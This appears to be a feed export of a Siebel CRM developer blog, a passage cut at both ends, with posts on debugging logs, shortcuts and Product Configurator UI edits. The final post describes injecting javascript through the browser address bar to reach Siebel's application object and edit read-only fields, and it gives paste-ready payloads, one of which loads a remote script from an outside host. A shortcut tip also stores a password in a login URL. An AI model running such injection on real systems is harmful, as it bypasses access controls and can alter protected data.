class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;WriteRecordSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;ShowPopupSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;GetBookmarkURLSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;FileSendMailSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;FileSendFaxSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;PreCanInvokeMethod&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;FileSendPageSun&lt;/span&gt; Aug 02 2009 01:52:19 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;It can be really &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_58"&gt;helpful&lt;/span&gt; if you working on a new &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;siebel&lt;/span&gt; application and doesn't know how things work.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Although it takes longer time to get the output, but it really helps when all other options fails.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-6824227351418276882?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/6824227351418276882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=6824227351418276882&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/6824227351418276882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/6824227351418276882'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/debugging-siebel-application-clibfputs.html' title='Debugging Siebel - Creatng custom logs using Clib.fputs'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-6077886319550694925</id><published>2009-07-29T10:17:00.000-07:00</published><updated>2009-08-02T07:41:16.895-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Miscellaneous'/><title type='text'>Siebel Shortcuts!</title><content type='html'>&lt;div&gt;I prefer most of the things to be automated on my machine and same thing as with siebel. I think most of developers prefer it that way.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;In this post i am sharing how we can automate Siebel on our machine and some easy to use shortcuts that can be really helpfull if used.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;1. Using automated log in to Siebel Tools and Web client.&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;It is very boring to enter our same credentials every time we open our Siebel Tools or web client. By using the command line switches provided by siebel we can automate this login process. &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;See the screen shot showing how we can automate SADIN login to siebel tools for sample database.&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SnCGf2pzAqI/AAAAAAAAACs/lmJaJsMUA0E/s1600-h/untitled.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5363935038003151522" style="WIDTH: 289px; CURSOR: hand; HEIGHT: 400px" alt="" src="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SnCGf2pzAqI/AAAAAAAAACs/lmJaJsMUA0E/s400/untitled.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Similarly for Web client we can have similat auto login. This way you can create mulple icons for multple dbf's .. These icons when clicked will take direclty tools or web client without any need to log in.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;2. Automated login to Siebel Thin Client&lt;/strong&gt;&lt;br /&gt;Usually most of developer adds thin client URL in IE's favourites. We can also customise this URL to take us direclty to the aplication without showing the loging screen.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Just Add following string after the Thin Client URL and save the as bookmark&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;start.swe?SWECmd=ExecuteLogin&amp;amp;SWEUserName=[User Name]&amp;amp;SWEPassword=[Password]&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Next time you will click this bookmark ... Browser will automatically show the logged in screen.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;3. Bookmarks&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;Siebel has provided feature in siebel tools very similar to favorites in Internet Explorer. We can bookmark any view that we have queried and drilled down in siebel tools, and later in future if we want to go back then we just have click on that bookmark and then tools will show the view exactly where we left it.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/_mJfGtfR_Zdc/SnCMTT-mKFI/AAAAAAAAAC0/THox0vb4ax4/s1600-h/untitled.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5363941419606485074" style="WIDTH: 317px; CURSOR: hand; HEIGHT: 223px" alt="" src="http://2.bp.blogspot.com/_mJfGtfR_Zdc/SnCMTT-mKFI/AAAAAAAAAC0/THox0vb4ax4/s400/untitled.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bookmark works on every screen except Workflow Editor View and Script editor view.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/div&gt;&lt;div&gt;&lt;strong&gt;4. Other Usefull Shortcuts:&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Siebel Tools:&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl +F7 &lt;/strong&gt;--- Srf compile.&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl+F10 &lt;/strong&gt;-- Check In Object&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl + E&lt;/strong&gt; --- Hide Unhide Object viewer&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl + Shift + F9&lt;/strong&gt; -- clears all the creak points&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;SIebel Client:&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Alt+Q &lt;/strong&gt;-- Query &lt;/div&gt;&lt;div&gt;&lt;strong&gt;Alt+R&lt;/strong&gt; -- Refine Query&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl + Shift +X&lt;/strong&gt; -- -log out&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl + Shift + A&lt;/strong&gt; --- Go to Site Map&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl + W&lt;/strong&gt; -- Immediately Kills Active Window.(Use it when going back home :) )&lt;/div&gt;&lt;div&gt;&lt;strong&gt;F2 &lt;/strong&gt;-- Open Pick applets and MVGs&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl + Arrow Up&lt;/strong&gt; -- Prev Record&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Cntrl + Down&lt;/strong&gt; -- Next Record&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Alt + Down&lt;/strong&gt; -- Next 20 records&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Alt + Up&lt;/strong&gt; --Prev 20 records&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Cntrl + 8 &lt;/span&gt;-- When siebel client hangs this shortcuts brings back the control to IE, and then you can submit the new requests.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;Coming up : Automation of daily siebel server admin tasks.&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-6077886319550694925?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/6077886319550694925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=6077886319550694925&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/6077886319550694925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/6077886319550694925'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/siebel-shortcuts.html' title='Siebel Shortcuts!'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mJfGtfR_Zdc/SnCGf2pzAqI/AAAAAAAAACs/lmJaJsMUA0E/s72-c/untitled.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-2367324989848892105</id><published>2009-07-29T08:00:00.000-07:00</published><updated>2009-07-29T09:04:00.148-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>Editing conflict page of Siebel Product Configurator</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_mJfGtfR_Zdc/SnBxaaly6iI/AAAAAAAAACU/PjMyRGCtr3Q/s1600-h/buttons.JPG"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Rquirement:&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;To remove proceed button from the conflict page of Siebel Product Configurator.&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Background &lt;/span&gt;&lt;/div&gt;&lt;div&gt;Siebel Product Configurator throws and error page commonly known as &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Conflict page(see below) &lt;/span&gt;&lt;span class="Apple-style-span" style=""&gt;to the user when user tries to select wrong configuration inside the configurator&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/_mJfGtfR_Zdc/SnBofFx1oKI/AAAAAAAAACM/P_eNfgr5Vk4/s320/buttons.JPG" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 99px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5363902039534706850" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In conflict page user have uption to&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; undo&lt;/span&gt; his last action or &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;proceed&lt;/span&gt; by removing the object that was constraining his last selection.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some times objects are added by configurator scripts, and it is required that user should not be able to delete the products or attributes that are added from scripts. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Solution&lt;/span&gt;&lt;/div&gt;&lt;div&gt;This problem can be solved by editing the &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;cfgui.js&lt;/span&gt; javascript file .&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This file constains javascript code that renders the whole UI of product configurator.The script in the file contains methods that convert the &lt;span class="Apple-style-span" style="font-weight: bold; "&gt;swe&lt;/span&gt; tags of the templates file to the&lt;span class="Apple-style-span" style="font-weight: bold; "&gt; HTML&lt;/span&gt; tags that shows up as UI.  You can find this file in the &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;public\lang_code&lt;lang code=""&gt;\siebel_bulid_number&lt;build&gt;\SCRIPTS &lt;/build&gt;&lt;/lang&gt;&lt;/span&gt;directory of siebel web client installation.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On the siebel server these files can be located in the &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;SWSE\PUBLIC\lag_code&lt;lang&gt;\siebel_build_number&lt;siebel build=""&gt;\ SCRIPTS &lt;/siebel&gt;&lt;/lang&gt;&lt;/span&gt;folder&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To remove the Proceed button you need to edit the&lt;span class="Apple-style-span" style="font-weight: bold;"&gt; showConflict funtion&lt;/span&gt; in this file, to set the &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;display&lt;/span&gt; property of proceed button to &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;none.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;from script:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;switch (conflictType)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;   {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;      case "Conflict":   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;         buttonObj = document.getElementById ("RemoveFailedRequests");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;         if (buttonObj)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;           &lt;/span&gt;&lt;span class="Apple-style-span" style=""&gt; buttonObj.style.display = "";&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;to :&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;   switch (conflictType)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;   {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;      case "Conflict":   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;         buttonObj = document.getElementById ("RemoveFailedRequests");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;         if (buttonObj)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style=""&gt;buttonObj.style.display = "none"; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;After these changes, clear the cache of internet explorer and restart the client. Now on proceed button will not visible on the conflict page of the configurattor(see below).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238); font-weight: normal; "&gt;&lt;img src="http://2.bp.blogspot.com/_mJfGtfR_Zdc/SnBxaaly6iI/AAAAAAAAACU/PjMyRGCtr3Q/s320/buttons.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5363911854826646050" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 90px; " /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-2367324989848892105?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/2367324989848892105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=2367324989848892105&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2367324989848892105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2367324989848892105'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/editing-conflict-page-of-siebel-product.html' title='Editing conflict page of Siebel Product Configurator'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mJfGtfR_Zdc/SnBofFx1oKI/AAAAAAAAACM/P_eNfgr5Vk4/s72-c/buttons.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-1880966790030615367</id><published>2009-07-28T11:03:00.000-07:00</published><updated>2009-07-29T08:00:07.810-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>Removing vanilla buttons from the Product Configurator UI</title><content type='html'>&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Requirement:&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Remove vanilla buttons from the configurstor UI.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SnBjv33_W5I/AAAAAAAAACE/PcORv3kz4gk/s1600-h/buttons.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 114px;" src="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SnBjv33_W5I/AAAAAAAAACE/PcORv3kz4gk/s320/buttons.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5363896830302051218" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Solution:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Solution doesn't involve any configuration in Siebel tools or compilation, it requires editing of the confgirator vanilla template files directly.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Buttons like Done , verify, reprice etc are displayed on confgurator UI as a part of  &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;eCfgTopLevelButtonsJS.swt  &lt;/span&gt;template file. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Buttons in this file are displayed inside the table cells and luckily there not much of css style attached on them.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So to remove the buttons we can define a style property for each cell that we want to remove. &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;style="display:none"&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For Example to remove the Save button from the UI, you need to change the code from :&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&amp;lt;td nowrap&gt;&lt;br /&gt;     &amp;lt;swe:control id="swe:Cancel" CfgUIControl="Cancel" CfgHtmlType="MiniButton" InvokeMethod="PrevView"/&gt;&lt;br /&gt;  &amp;lt;/td&gt;&lt;br /&gt;&lt;div&gt; to:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;    &amp;lt;td nowrap&lt;b&gt; style="display:none"&lt;/b&gt;&amp;gt;&lt;br /&gt;&amp;lt;swe:control id="swe:Save" CfgUIControl="Save" CfgHtmlType="MiniButton" InvokeMethod="SyncInstance"/&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-1880966790030615367?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/1880966790030615367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=1880966790030615367&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/1880966790030615367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/1880966790030615367'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/removing-vanilla-buttons-from-product.html' title='Removing vanilla buttons from the Product Configurator UI'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mJfGtfR_Zdc/SnBjv33_W5I/AAAAAAAAACE/PcORv3kz4gk/s72-c/buttons.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-7107187276516977795</id><published>2009-07-24T20:05:00.000-07:00</published><updated>2009-07-24T21:25:29.551-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Miscellaneous'/><title type='text'>Browser Script on fly!</title><content type='html'>&lt;div&gt;This was almost a year ago, myself along with &lt;a href="http://siebelunleashed.com/"&gt;Neel &lt;/a&gt;and other team members were working on product configurator and found vulnerability in the siebel browser script.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Like other web applications, In Siebel also we can inject some javascript in page to extract details or modify some element.  But as siebel has provided access to the theApplication() object in the  browser script.  We could access it in script in address bar. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Once this object was availble, we were able to &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;set &lt;/span&gt;and &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;get &lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;profile &lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;attribute &lt;/span&gt;at any view in the siebel session.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;That's not all !!  Siebel script engine doesn't defferentiate between a browser script and server script. The only difference is that in browser script user can only work on the objects that are shown on the current UI.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This means that we can edit the read only fields, those fields that were made readonly at applet level.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I digged some more and uploaded some scripts that can be used readily in any application. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Try one of the followings: &lt;/div&gt;&lt;div&gt;(Open siebel application and copy paste the content in the address bar and click GO.) &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;1. &lt;textarea style="WIDTH: 500px; HEIGHT: 46px" cols="18"&gt;javascript:alert(theApplication().GetProfileAttr("ApplicationName"));&lt;/textarea&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;2. &lt;textarea style="WIDTH: 500px; HEIGHT: 44px" rows="1" cols="21"&gt;javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://siebel.limewebs.com/siebel.js';fields(0);void(0);&lt;/textarea&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;3. 